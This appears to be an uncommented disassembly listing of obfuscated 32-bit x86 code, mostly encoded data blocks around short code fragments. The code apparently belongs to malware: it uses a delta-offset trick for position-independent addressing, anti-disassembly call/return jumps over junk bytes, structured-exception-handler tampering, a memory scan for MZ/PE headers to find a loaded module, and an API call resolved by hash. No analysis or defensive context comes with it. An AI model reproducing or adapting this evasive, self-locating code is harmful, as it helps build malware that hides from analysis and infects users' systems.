		dd 24CD9589h, 305005D1h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h
		dd 1504h, 0C3564600h, 0BD2325C6h, 5D124D5h, 679BD83h, 0F0305D1h
		dd 3B385h, 9858900h, 8305D107h,	0D48313BDh, 840F0005h
		dd 3A0h, 0FFF88B66h, 0D48313B5h, 51BD2B05h, 0FF05D10Fh
		dd 0D102FD95h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0C9604BBh, 0FE9AB1FCh
		dd 998D8972h, 8005D110h, 0B58B08EBh, 5D48307h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 7BC35545h, 9D8BC2C3h
		dd 5D11BADh, 1EDBFBBh, 106C70Ah, 6A000100h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 61FEC351h
		dd 93194065h, 823C32Ah,	6096DE8Bh, 0BE8h, 0B71E1000h, 850C151Ah
		dd 84B30759h, 310F5250h, 565E585Ah, 5AD98B66h, 820F5061h
		dd 0
		dd 13B5FF96h, 8B05D483h, 0D11EC59Dh, 218D8905h,	0FF05D125h
		dd 0D1068195h, 0F7816605h, 0BF6667B8h, 0B58BBF89h, 5D48307h
		dd 13E8h, 0A18EFE00h, 8580D0BEh, 44A4EBB5h, 2C2CE980h
		dd 0B41F2E01h, 91858B5Bh, 6A05D117h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0D77EC355h
		dd 83941EAFh, 8876BB66h, 0C48689h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BB6665C3h
		dd 958B767Ch, 5D11021h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0D7C35040h, 7CF0C5EAh, 55BD234Ah, 8305D12Dh
		dd 6A04C2h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 565972C3h, 20508960h, 68CB8166h, 31858DA2h
		dd 6A05D496h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 51ACC355h, 0A0298CDh, 0D2AD27E8h
		dd 26019D0Bh, 0CBBF05D1h, 892445EDh, 0B886h, 0D98D8900h
		dd 6A05D105h, 13B5FF00h, 6A05D483h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0FC3FC355h
		dd 89B086FAh, 0D10D7D95h, 0F595FF05h, 0F05D131h, 0F96DAB7h
		dd 8Bh,	7BF5000h, 9676B0F9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0B0C35141h,	9AE31806h, 816691D8h
		dd 0FFBE47CFh, 0D48313B5h, 95FFF905h, 5D102D5h,	7DBD83F9h
		dd 5D11Fh, 5C840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0E895B7C3h, 2047F138h
		dd 0FDB537Fh, 9D8BD9B7h, 5D12FF5h, 0EE850h, 83810000h
		dd 0FAF7CF2Bh, 7A2BD0EFh, 0D784E00Ch, 0CE8h, 123A3600h
		dd 0D770E89Dh, 0AAEDA701h, 5F61602Ch, 2434895Bh, 0B5FF34B3h
		dd 5D48313h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	69C35141h, 4BA61383h, 0C6E14BDh, 7E934h, 94B0000h
		dd 5399CE1Eh, 5995FF8Dh, 0FC05D113h, 8313B5FFh,	6A05D4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 34E13DC3h, 0B734361h, 0FFCA963h, 8Ah, 3995FF00h, 6A05D11Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 81DBC357h, 8684D3F3h, 0DBD8342h, 205D107h
		dd 1D840Fh, 29F90000h, 0D125F99Dh, 0A5858B05h, 8B05D117h
		dd 0D10FE5BDh, 0C605h, 55BD8BFCh, 0C705D121h, 0D11F5585h
		dd 5, 0D88B6600h, 0FFF483E9h, 1EC780FFh, 6AC18Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 8A1F0C3h, 0F98A602Eh, 68D858Dh, 6A05D1h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 99C461C3h
		dd 7F1FDF39h, 29373218h, 0D119799Dh, 0FE8B5005h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 8C1EC350h, 1F41A496h, 0FE9h, 0BCC43E00h
		dd 630E6EA6h, 7FB21A42h, 54BD0B35h, 138D9D8Bh, 6A05D1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0BFC35242h
		dd 1E7D9D89h, 6A05D1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0A4C35343h, 6800Fh, 95010000h, 5D11441h
		dd 0FC32858Dh, 83F505D5h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0A336AEC3h, 9B985C03h
		dd 10E91Eh, 3B1F0000h, 0C2EA8242h, 1E2E1EE9h, 0E6FDBA45h
		dd 8B502B94h, 240489FAh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0ADC35343h, 0D77C8B4Fh, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 2C8571C3h, 2611BD8Bh, 6A05D1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 24C35545h, 0C08DFCCh, 26BBB10Eh
		dd 890012ECh, 0D11E8585h, 3995FF05h, 0F05D11Bh,	8D8DF9B7h
		dd 5D481CFh, 0DFF2DB81h, 0D1FF5079h, 17ED8589h,	0BD8305D1h
		dd 5D120E9h, 7F850F01h,	0BF000000h, 5704ADCh, 6A026Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0CB1E7CC3h, 0BD35411Ah, 0BF5095B7h, 0F2C0D85h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0A60BC350h, 0FF001C73h, 0D131F595h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 6BE6BA84h, 1735E329h, 2BE960F6h, 0E800000Dh,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5D5FC3Ch
		push	0
		push	ebp
		call	sub_5B9A76
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9A76	proc near		; CODE XREF: ud2_____:005B9A6Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5B9A76	endp

; ---------------------------------------------------------------------------
		xor	[ebp-75h], cl
		mov	ebp, 5D11E95h
		push	0
		push	ebx
		call	sub_5B9A99
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9A99	proc near		; CODE XREF: ud2_____:005B9A91p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B9A99	endp

; ---------------------------------------------------------------------------
		db 5Ah,	81h, 9Eh
		dd 72B1858Dh, 958905D4h, 5D11949h, 13E850h, 0D9D30000h
		dd 6E43C6C7h, 77992A81h, 418544C7h, 1353F76Eh, 5E9B6h
		dd 64590000h, 5BC495EBh, 0E8240489h, 10h, 0A21FEC90h, 0DB95D0D9h
		dd 7782F18Dh, 48896B86h, 314DBD89h, 0F5B05D1h, 184h, 0FF64F900h
		dd 35h,	6870F00h, 0B000000h, 0D1209D9Dh, 25896405h, 0
; ---------------------------------------------------------------------------
		jnb	loc_5B9B28
		sub	[ebp+5D1168Dh],	ebx


loc_5B9B28:				; CODE XREF: ud2_____:005B9B1Cj
		jmp	loc_5B9B3E
; ---------------------------------------------------------------------------
		db 0D3h, 87h, 0Bh
		dd 0EA722CE7h, 8B4FAD12h, 1AEDD77Ch
		db 93h,	3Dh
; ---------------------------------------------------------------------------


loc_5B9B3E:				; CODE XREF: ud2_____:loc_5B9B28j
		inc	dword ptr [ebp+5D12719h]


loc_5B9B44:				; CODE XREF: ud2_____:005BA772j
		push	0FFFFFFFFh
		push	0
		push	edx
		call	sub_5B9B51
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9B51	proc near		; CODE XREF: ud2_____:005B9B49p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5B9B51	endp

; ---------------------------------------------------------------------------
		db 0F5h, 0DCh, 34h
; ---------------------------------------------------------------------------
		mov	dl, 9
		test	dword ptr [esi], 0C2FE781h
		push	dword ptr [ebp+5D11929h]
		mov	edi, [ebp+5D10E99h]
		call	dword ptr [ebp+5D11279h]
		jmp	loc_5B9C6F
; ---------------------------------------------------------------------------
		dd 3E72BF66h, 5BF00B0h,	0E6511721h, 371E470h, 0D10A719Dh
		dd 0F613C05h, 0CE83h, 0BD9D8900h, 0F05D100h, 0BF0FC8B6h
		dd 6BAFBh, 9D8B0000h, 5D116F9h,	0B589C18Bh, 5D10AD1h, 904E8C1h
		dd 0D11F659Dh, 0E2F76605h, 8758509h, 0C82B05D1h, 89FA8B66h
		dd 0D12A61B5h, 8BD18B05h, 0D12225BDh, 85E905h, 95090000h
		dd 5D12A8Dh, 554C858Bh,	0C0834947h, 375BBF07h, 0C083307Dh
		dd 95BD8B00h, 3B05D11Fh, 11830FD0h, 8B000000h, 0D11B2DBDh
		dd 55E905h, 8D010000h, 5D10E75h, 0FFFF8D8Bh, 0BD8BFFFFh
		dd 5D10C79h, 32D9BD8Bh,	0E18305D1h, 34840F01h, 52000000h
		dd 23ADB589h, 835B05D1h, 0FFFFFFA5h, 6E9FEFFh, 0E000000h
		dd 3227E7DCh, 4C9589FCh, 0E9494755h, 0Ah, 0D3D0A74Eh, 66B47F2Bh
		dd 0E9320Fh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5B9C6F:				; CODE XREF: ud2_____:005B9B7Fj
		lea	esi, [ebp+5D57DCBh]
		xor	bx, 0C551h
		push	0
		push	0
		push	esi
		call	sub_5B9C87
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9C87	proc near		; CODE XREF: ud2_____:005B9C7Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5B9C87	endp

; ---------------------------------------------------------------------------
		db 69h
		dd 45BD0931h, 0FF05D126h, 0D1245995h, 0FBB70F05h, 0FA6B9h
		dd 0DB816600h, 0E1831DB3h, 0E1B509FCh, 0FC05D109h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E7C35545h, 52360F2Ah
		dd 0CE969h, 514E0000h, 3C70E7DFh, 0E2B69EE3h, 0C02B80B1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 26C35242h
		dd 0B47E623Ah, 0CC9F5F17h, 9D8BF88Bh, 5D11CC9h,	6AD22Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8BDB4EC3h, 0D1275D9Dh, 0C233AD05h, 0D003E8D1h, 7504E983h
		dd 50006AF4h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 46023C01h, 6AF59D61h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 98E9C352h
		dd 0D7245D9Eh, 0D471BC5h, 88h, 0CA816660h, 9D893AD9h, 5D12679h
		dd 21958B61h, 6A05D110h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 6056C351h, 7656E5Fh
		dd 7EF6CD0Fh, 185DBD31h, 90BB05D1h, 8B11DC5Ah, 0D11C098Dh
		dd 0FABF0F05h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 0FC8A5818h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0F3C35141h, 49BD8309h, 5D100h, 0A3840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 81C102C3h, 2C5F23EBh, 0B868h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 504F4CC3h
		dd 4E382F98h, 0C659D8Bh, 0BF0F05D1h, 0BD8D8DF9h, 6A05D14Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0B5C4C350h, 9D8B7094h, 5D127D9h, 6AE1FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 899DFFC3h, 0D10D1DB5h, 79BD8305h, 5D106h, 47B840Fh
		dd 0F570000h, 835BD8B7h, 0D10679BDh, 840F0105h,	484h, 11719D89h
		dd 0BD8305D1h, 5D10679h, 3B860F03h, 0B7000004h,	6A6092h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E9E2C8C3h, 0Ah, 3AF8680Eh, 0CAE478C4h, 8C6652E0h, 0DE8B66D9h
		dd 8004E180h, 0C90A8AE7h, 171840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E0A1D8C3h
		dd 0CA7A51C3h, 66F95CA6h, 0E296CB81h, 1731858Bh, 6A05D1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 85338EC3h, 5D10E71h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 1EC35040h, 0E8B21610h, 11h, 0AA25D20Ch
		dd 0E6DCBF94h, 0E59D9195h, 8447D5A5h, 0B58B609Ch, 5D11175h
		dd 0D33EB966h, 0B5295B61h, 5D122C1h, 50525090h,	0F310F52h
		dd 82h,	0F585A00h, 0F525031h, 5A616031h, 50585A58h, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 717948B1h, 8B2E7DE4h, 66006AFBh, 0FF0EEF81h,	3C8AB868h
		dd 0F525045h, 8F03BF31h, 585A6DF8h, 47243481h, 8B452389h
		dd 0D126A99Dh, 1D95FF05h, 6A05D111h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 332FC355h
		dd 9F4EF5Eh, 0D245C6F1h, 0FE8h,	0B47E6200h, 0CC9F5F17h
		dd 0F4BE5DC8h, 75D697CEh, 2159D29h, 895B05D1h, 0D4831385h
		dd 0FE805h, 5DD10000h, 9AC44CCDh, 7A226F13h, 47620DBDh
		dd 0F995895Bh, 5F05D127h, 249E9h, 0BF665300h, 8B5BE363h
		dd 0D4830B85h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 7E53F4E9h, 514C933Bh
		dd 1DD99D29h, 0C75B05D1h, 1800h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 7E70D902h
		dd 760A78BAh, 15D58589h, 77B705D1h, 830FB58Bh, 6A05D4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 6C0959C3h, 295C8234h, 0A2EABFFEh, 858B22B7h,	5D122A9h
		dd 0BCE70FBBh, 0E9068966h, 0Eh,	4813CDDAh, 69D12E9Bh, 253EDDB1h
		dd 858BDE8Eh, 5D11731h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 91C35646h, 0EBFC5EAEh, 26A59C2Dh, 4689DC8Ah
		dd 0B7EB8104h, 9671AB06h, 0E8525057h, 14h, 0EA97F28Ah
		dd 5B85A605h, 6F746E6Ch, 28E2377Dh, 7C38AD85h, 5A310F5Bh
		dd 50505F58h, 9E852h, 0F19E0000h, 5C4EB8CDh, 0E9695375h
		dd 0Fh,	0C5545175h, 53D47DBAh, 0BD1A0F5Eh, 5F3C38EDh, 0F60310Fh
		dd 80h,	0F525000h, 61585A31h, 6A96585Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D032C352h
		dd 44DA8634h, 7E832EEh,	0B3000000h, 0C6BD5DC1h,	0E3BBE919h
		dd 5B3B674Bh, 830BB5FFh, 0BD8B05D4h, 5D11031h, 54EA5A68h
		dd 0B752502Fh, 0E9310F13h, 0Eh,	7F057DC5h, 304B7BEEh, 0DC748509h
		dd 585AB805h, 0A5243481h, 892F4BE9h, 0D10CF595h, 13858D05h
		dd 0BB05D483h, 39727D47h, 12810Fh, 0DE90000h, 6C000000h
		dd 0C11C42C5h, 7E9BB8F0h, 6E52CDB3h, 0F7BF5090h, 5F151671h
		dd 11E950h, 65330000h, 7EAA07CAh, 0F20ECF4Ch, 7127BC53h
		dd 90C3EBCAh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	63C35343h, 1C10042Dh, 0F6F880Fh, 0BD33DFB7h, 5D10D51h
		dd 111D95FFh, 6A05D1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0BF66DAC3h, 0BB61CEB8h, 11BECE6h
		dd 67985C7h, 305D1h, 0BD8B0000h, 5D125C5h, 8313BD83h, 0F0005D4h
		dd 2184h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 1BE929h, 30500000h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 13E9C0h, 0AFCD0000h
		dd 6BCC1014h, 5404610Fh, 0C5A8404Eh, 93E45FB6h,	79BD8347h
		dd 305D106h, 3C8850Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 931228C3h, 13BD83F5h
		dd 5D483h, 39C840Fh, 81660000h,	0FFF187C7h, 0D48313B5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0FD95FFC8h, 6A05D102h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 91DBC353h
		dd 8152926Bh, 3BE38F7h,	0B58B5F60h, 5D48307h, 106C7h, 85890001h
		dd 5D123D1h, 1F810F96h,	50000000h, 0AFBB6652h, 0E9310FC3h
		dd 10h,	590DEA6Fh, 0CDBF0BBFh, 6E4CEF26h, 82908114h, 0F50585Ah
		dd 1684h, 11E900h, 20580000h, 0E8C891E6h, 417438F5h, 9F82DCFh
		dd 96B9C6DDh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 16h
		dd 0C1C35747h, 0B5FFCDE4h, 5D48313h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0BCC35747h,	1F546308h, 1175BD8Bh
		dd 0F78105D1h, 5FE97A30h, 68195FFh, 7E905D1h, 41000000h
		dd 7A6574Dh, 0B58B90F6h, 5D48307h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0B8C35646h,	7E50C58Ah, 0D59D899Ah
		dd 8B05D119h, 0D1179185h, 8D9D8B05h, 8905D117h,	0C486h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0DB0771DAh, 0F58589h, 958B05D1h,	5D11021h
		dd 26E5B509h, 0C28305D1h, 0F1958904h, 8905D122h, 9D232050h
		dd 5D12629h, 0C799D3BFh, 31858D56h, 905D496h, 0D1100585h
		dd 499D8B05h, 8905D114h, 0B886h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 13F0622Ch
		dd 77BDBF66h, 6AD88Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 13C35343h, 13B5FFC4h,	8905D483h, 0D132BDBDh
		dd 0F595FF05h, 2905D131h, 0D11E7D85h, 95958905h, 5005D124h
		dd 6A243489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0BE8FC356h, 0E8EF42B6h, 721A8292h
		dd 0FFF98B66h, 0D48313B5h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 870F47BAh
		dd 6, 0C8CCCF81h, 95FF7022h, 5D102D5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 55C35343h, 0B316436Eh, 0D0494A65h
		dd 259589E5h, 8305D119h, 0D11F7DBDh, 840F0005h,	36h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 3DC35646h, 7E247E52h
		dd 0E3224E06h, 3DBD8964h, 9605D120h, 9650FE8Bh,	16D5B589h
		dd 0B5FF05D1h, 5D48313h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 63C35646h, 4F7B62B9h,	0C9B50109h, 8B05D109h
		dd 0D121859Dh, 8BBF6605h, 5995FF7Bh, 6A05D113h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0F3EFC351h, 0B5FFBD45h, 5D48313h, 8259D01h, 95FF05D1h
		dd 5D11D39h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	2BC35242h, 50B8DFBCh, 6D589F8Bh, 1DED9D29h, 0BD8305D1h
		dd 5D1070Dh, 0F840F02h,	66000000h, 8B3EE8BFh, 0D117A585h
		dd 0C6F905h, 85C7F800h,	5D11F55h, 0
; ---------------------------------------------------------------------------
		mov	edi, esi
		jmp	loc_5B9B44
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D109159Dh, 8BDF8B05h, 3880FC1h, 0F000000h, 14E8FBBFh
		dd 47000000h, 925069DEh, 3FEA119Ah, 7118D484h, 0FC345675h
		dd 0E97B9719h, 12h, 120319D0h, 3432EF2Ch, 79C69D38h, 7E3A8A17h
		dd 895FC55Ch, 0D1062D9Dh, 1C78105h, 0E900006Bh,	10h, 0CE04B387h
		dd 0B86EC867h, 7A038179h, 0A14D33B4h, 68h, 580DB500h, 0C499589h
		dd 1C8B05D1h, 860F07h, 81000000h, 0D5C41BEBh, 0C9958B4Dh
		dd 8105D123h, 4D40EAC3h, 0F18B6643h, 9621F381h,	0B58B2FA3h
		dd 5D120CDh, 0B1958B53h, 8F05D10Dh, 81660704h, 0B6936AC9h
		dd 4E883A9h, 0CDF5E181h, 0F8815E17h, 0FFFF95CCh, 10850Fh
		dd 0D2810000h, 46A89DA5h, 1BE9h, 6F9EDA00h, 0F181DE47h
		dd 74D48BE6h, 0FFFF95E9h, 5406F4FFh, 0F1437F90h, 0F29A7DF8h
		dd 119000BAh, 0EA81F0h,	83F00000h, 958914C2h, 5D13239h
		dd 8D14EA83h, 0D60ADE85h, 0FF645005h, 35h, 25896400h, 0
; ---------------------------------------------------------------------------
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_5BA899:				; CODE XREF: ud2_____:005BA8BBj
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_5BA8B6
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_5BA8C0


loc_5BA8B6:				; CODE XREF: ud2_____:005BA89Ej
		sub	eax, 1000h
		jmp	loc_5BA899
; ---------------------------------------------------------------------------


loc_5BA8C0:				; CODE XREF: ud2_____:005BA8B0j
		mov	ecx, eax
		mov	[ebp+5D11079h],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+5D12649h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+5D127ADh],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+5D102A5h],	edx
		add	edx, [eax+8]
		mov	[ebp+5D1099Dh],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_5BA919
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5BA919:				; CODE XREF: ud2_____:005BA901j
		cmp	dword ptr [ebp+5D12A69h], 0
		jz	loc_5BA94A
		mov	byte ptr [ebp+5D124D9h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+5D124FDh]
		lea	eax, [ebp+5D45CA1h]
		call	eax
		push	0
		call	eax
		mov	[ebp+5D1014Dh],	eax


loc_5BA94A:				; CODE XREF: ud2_____:005BA920j
		mov	edx, ebx
		lea	ecx, [ebp+5D60C06h]
		push	0
		push	edx
		call	sub_5BA95D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA95D	proc near		; CODE XREF: ud2_____:005BA955p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5BA95D	endp

; ---------------------------------------------------------------------------
		db 0EFh, 0EAh, 8Dh
; ---------------------------------------------------------------------------
		or	cl, [ecx-77h]
		lea	esp, [ecx]
		adc	cl, dl
		add	eax, 22E9BD8Bh
		rol	dword ptr ds:1C0985C7h,	1
		rol	large dword ptr	ds:5E3Ch, 1
		push	0
		push	edi
		call	sub_5BA993
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA993	proc near		; CODE XREF: ud2_____:005BA98Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5BA993	endp

; ---------------------------------------------------------------------------
		sub	edx, [ebp+4CE56A84h]
		sbb	al, 0ABh
		adc	edx, 35E6B073h
		mov	dword ptr [ebp+5D10679h], 0
		push	0
		push	ecx
		call	sub_5BA9C6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA9C6	proc near		; CODE XREF: ud2_____:005BA9BEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5BA9C6	endp

; ---------------------------------------------------------------------------
		dw 0D4D3h
; ---------------------------------------------------------------------------
		and	eax, [ebp+5D10BBDh]
		push	dword ptr [ebp+5D132C5h]
		push	0
		push	ecx
		call	sub_5BA9EF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA9EF	proc near		; CODE XREF: ud2_____:005BA9E7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5BA9EF	endp

; ---------------------------------------------------------------------------
		db 4Ch
		dd 0E8EDE2DAh, 0Dh, 0CFBF7D27h,	0FD03923Bh, 92950135h
		dd 0D915BF2Dh, 0FF5B72CEh, 0D10EDD95h, 75858905h, 6A05D111h
		dd 5995FF00h, 8B05D124h, 1E5EEBC0h, 6ADDC589h, 726728C4h
		dd 2AF47A43h, 641EFF9Eh, 5A55F176h, 0A412AB42h,	0EDBE148Dh
		dd 4AB636FBh, 93EC647Ch, 64654D2Fh, 83694337h, 0BD4BA613h
		dd 340C6E14h, 27C6862h,	18C4DA06h, 37490B41h, 4DF2588Eh
		dd 0AD3F090Ah, 891519DAh, 47C886C2h, 4227B701h,	9B76FEB6h
		dd 48877A4Ch, 118D8DFFh, 6A05D60Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0DE80C353h
		dd 8D896DECh, 5D11021h,	1C0985C7h, 72D805D1h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 22373DC3h, 85893072h, 5D11E7Dh, 1DCD9589h, 85C705D1h
		dd 5D10679h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5BAB07
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BAB07	proc near		; CODE XREF: ud2_____:005BAAFFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5BAB07	endp

; ---------------------------------------------------------------------------
		pop	edi
		js	short loc_5BAB93
		shr	dword ptr [ebx-4A002E35h], 29h
		sbb	ecx, edx
		add	eax, 1B218501h
		rol	dword ptr ds:0EDD95FFh,	1
